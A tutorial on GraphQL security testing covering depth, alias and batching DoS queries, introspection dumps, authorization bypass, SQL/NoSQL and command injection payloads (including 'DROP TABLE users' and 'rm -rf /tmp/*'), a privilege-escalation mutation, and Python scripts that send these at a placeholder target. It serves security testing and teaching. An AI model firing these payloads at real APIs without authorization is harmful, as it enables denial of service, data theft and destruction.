# GraphQL security testing

## What is GraphQL Security Testing?

GraphQL security testing focuses on identifying vulnerabilities in GraphQL APIs - a modern query language that allows clients to request exactly the data they need. Unlike REST APIs with fixed endpoints, GraphQL uses a single endpoint with flexible queries, creating unique attack vectors including query complexity attacks, introspection exploitation, and schema manipulation that don't exist in traditional REST APIs.

## Vulnerable Scenario Example

```graphql
# Normal GraphQL query
query GetUser {
  user(id: "123") {
    name
    email
  }
}

# Attack: Deeply nested query causing DoS
query MaliciousQuery {
  user(id: "123") {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                posts {
                  comments {
                    # ... continues for 100+ levels
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
```

**Attack Result:** The deeply nested query consumes excessive server resources, potentially causing denial of service while appearing as a legitimate GraphQL query.

## How GraphQL Attacks Work

GraphQL's flexibility becomes a security weakness when not properly configured. Attackers exploit the self-documenting nature through introspection, craft complex queries to overload servers, and manipulate query structure to bypass traditional security controls designed for REST APIs.

#### GraphQL Attack Flow

1. **Schema Discovery** - Use introspection to map available types and fields
2. **Query Crafting** - Build complex queries to exploit business logic or cause DoS
3. **Authentication Testing** - Test query-level access controls and field authorization
4. **Injection Attacks** - Inject malicious code through query variables and arguments
5. **Business Logic Abuse** - Exploit nested relationships and query complexity

## Impact and Consequences

* **Denial of Service** - Complex queries consuming excessive server resources
* **Data Exposure** - Unauthorized access to sensitive fields and nested data
* **Schema Information Disclosure** - Complete API structure revealed via introspection
* **Authorization Bypass** - Field-level access control circumvention
* **Injection Attacks** - SQL, NoSQL, and command injection through variables
* **Business Logic Exploitation** - Abuse of nested relationships and resolvers

## Core GraphQL Vulnerabilities

#### Query Complexity and DoS Attacks

GraphQL's nested query structure can be exploited to create resource-intensive requests.

**Depth-Based DoS:**

```graphql
query DepthAttack {
  user {
    posts {
      author {
        posts {
          author {
            posts {
              # 50+ levels deep
            }
          }
        }
      }
    }
  }
}
```

**Alias-Based DoS:**

```graphql
query AliasAttack {
  user1: user(id: "1") { name posts { title } }
  user2: user(id: "2") { name posts { title } }
  user3: user(id: "3") { name posts { title } }
  # ... repeat 1000+ times with different aliases
  user1000: user(id: "1000") { name posts { title } }
}
```

**Circular Query Attack:**

```graphql
query CircularAttack {
  user {
    posts {
      comments {
        user {
          posts {
            comments {
              user {
                # Circular reference continues
              }
            }
          }
        }
      }
    }
  }
}
```

#### GraphQL Introspection Exploitation

GraphQL's introspection feature reveals the complete schema, exposing all available queries, mutations, and sensitive fields.

**Basic Introspection Query:**

```graphql
query IntrospectionQuery {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
        }
      }
    }
  }
}
```

**Detailed Schema Discovery:**

```graphql
query DetailedIntrospection {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
    }
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}
```

#### Authorization and Access Control Bypass

GraphQL field-level authorization can be bypassed through various query manipulation techniques.

**Field-Level Authorization Bypass:**

```graphql
# Direct access blocked
query DirectAccess {
  user(id: "123") {
    ssn  # Returns authorization error
  }
}

# Bypass through nested queries
query NestedBypass {
  user(id: "123") {
    profile {
      personalInfo {
        ssn  # Might not be protected at this level
      }
    }
  }
}
```

**Batch Authorization Bypass:**

```graphql
query BatchBypass {
  user1: user(id: "123") { 
    name 
    email 
    # Hidden sensitive field
    internalNotes
  }
  user2: user(id: "456") { 
    name 
    email 
    internalNotes 
  }
  # Batch request might bypass per-query authorization
}
```

#### Injection Vulnerabilities in GraphQL

GraphQL variables and arguments can be exploited for various injection attacks.

**SQL Injection via Variables:**

```graphql
query GetUser($userId: String!) {
  user(id: $userId) {
    name
    email
  }
}

# Variables with SQL injection
{
  "userId": "1' OR '1'='1' --"
}
```

**NoSQL Injection:**

```graphql
query LoginUser($username: String!, $password: String!) {
  login(username: $username, password: $password) {
    token
  }
}

# NoSQL injection variables
{
  "username": {"$ne": null},
  "password": {"$ne": null}
}
```

**Command Injection:**

```graphql
mutation ProcessFile($filename: String!) {
  processFile(name: $filename) {
    status
  }
}

# Command injection variable
{
  "filename": "document.pdf; rm -rf /tmp/*"
}
```

## GraphQL Testing Methodology

#### Schema Discovery and Reconnaissance

**Introspection Testing:**

```bash
# Test if introspection is enabled
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'

# Full schema dump
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d @introspection_query.json > schema.json
```

**Alternative Discovery Methods:**

```bash
# Look for GraphQL documentation
curl https://api.target.com/graphql
curl https://api.target.com/graphiql
curl https://api.target.com/playground

# Error-based discovery
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "invalid_query"}'
```

#### Authentication and Authorization Testing

**Authentication Bypass:**

```graphql
# Test without authentication
query WithoutAuth {
  users {
    id
    name
    email
  }
}

# Test with invalid tokens
# Headers: Authorization: Bearer invalid_token
```

**Field-Level Authorization Testing:**

```python
import requests
import json

def test_field_authorization(endpoint, token, sensitive_fields):
    headers = {'Authorization': f'Bearer {token}'}
    
    for field in sensitive_fields:
        query = f'''
        query TestField {{
          user {{
            {field}
          }}
        }}
        '''
        
        response = requests.post(endpoint, 
                               json={'query': query}, 
                               headers=headers)
        
        if 'errors' not in response.json():
            print(f"[!] Unauthorized access to field: {field}")
        else:
            print(f"[+] Field protected: {field}")

# Test sensitive fields
sensitive_fields = ['ssn', 'salary', 'internalNotes', 'adminFlag']
test_field_authorization('https://api.target.com/graphql', 'user_token', sensitive_fields)
```

#### Query Complexity Testing

**Automated DoS Testing:**

```python
import requests
import time

def generate_depth_attack(depth):
    query = "query DepthAttack { user { "
    
    for i in range(depth):
        query += "posts { author { "
    
    query += "name"
    
    for i in range(depth):
        query += " } }"
    
    query += " } }"
    return query

def test_query_complexity(endpoint):
    for depth in range(1, 50):
        query = generate_depth_attack(depth)
        
        start_time = time.time()
        response = requests.post(endpoint, json={'query': query})
        response_time = time.time() - start_time
        
        print(f"Depth {depth}: {response_time:.2f}s - Status: {response.status_code}")
        
        if response_time > 10:  # 10 second threshold
            print(f"[!] DoS vulnerability at depth {depth}")
            break

test_query_complexity('https://api.target.com/graphql')
```

#### Injection Testing

**Variable Injection Testing:**

```python
def test_graphql_injection(endpoint, token):
    headers = {'Authorization': f'Bearer {token}'}
    
    # SQL injection payloads
    sql_payloads = [
        "1' OR '1'='1' --",
        "1'; DROP TABLE users; --",
        "1' UNION SELECT password FROM admin_users --"
    ]
    
    for payload in sql_payloads:
        query = '''
        query TestInjection($userId: String!) {
          user(id: $userId) {
            name
            email
          }
        }
        '''
        
        variables = {'userId': payload}
        
        response = requests.post(endpoint,
                               json={'query': query, 'variables': variables},
                               headers=headers)
        
        if 'error' not in response.text.lower():
            print(f"[!] Potential SQL injection: {payload}")
            print(f"Response: {response.json()}")

test_graphql_injection('https://api.target.com/graphql', 'token')
```

## Advanced GraphQL Attack Techniques

#### Batched Query Attacks

**Resource Exhaustion via Batching:**

```graphql
[
  {"query": "query { users { id name posts { title } } }"},
  {"query": "query { users { id name posts { title } } }"},
  {"query": "query { users { id name posts { title } } }"},
  // Repeat 1000+ times
]
```

#### Subscription Abuse

**WebSocket Subscription DoS:**

```graphql
subscription MaliciousSubscription {
  messageAdded {
    id
    content
    user {
      posts {
        comments {
          author {
            posts {
              # Deep nesting in real-time subscription
            }
          }
        }
      }
    }
  }
}
```

#### Mutation Testing

**Privilege Escalation via Mutations:**

```graphql
mutation EscalatePrivileges($userId: ID!) {
  updateUser(id: $userId, data: {
    role: "admin"
    permissions: ["read", "write", "delete", "admin"]
    isActive: true
  }) {
    id
    role
    permissions
  }
}
```

#### Error-Based Information Disclosure

**Schema Discovery via Errors:**

```graphql
# Trigger field validation errors to discover schema
query ErrorBasedDiscovery {
  user {
    nonExistentField  # Error reveals available fields
  }
}

# Type validation errors
query TypeDiscovery {
  user(id: 123) {  # Pass int instead of string
    name
  }
}
```

## GraphQL Security Testing Tools

#### Specialized GraphQL Tools

**GraphQL-Specific Scanners:**

* **GraphQL Voyager** - Schema visualization and analysis
* **GraphQL Playground** - Interactive query testing
* **InQL** - Burp Suite extension for GraphQL testing
* **GraphQLmap** - Automated GraphQL security testing

#### Manual Testing Setup

**GraphQL Testing with curl:**

```bash
# Basic query
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ users { id name } }"}'

# Query with variables
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query GetUser($id: ID!) { user(id: $id) { name email } }",
    "variables": { "id": "123" }
  }'
```

**Burp Suite Configuration:**

```
# Configure Burp for GraphQL testing
1. Set content-type detection for application/json
2. Enable parameter pollution detection
3. Configure active scanner for GraphQL endpoints
4. Use InQL extension for schema analysis
```
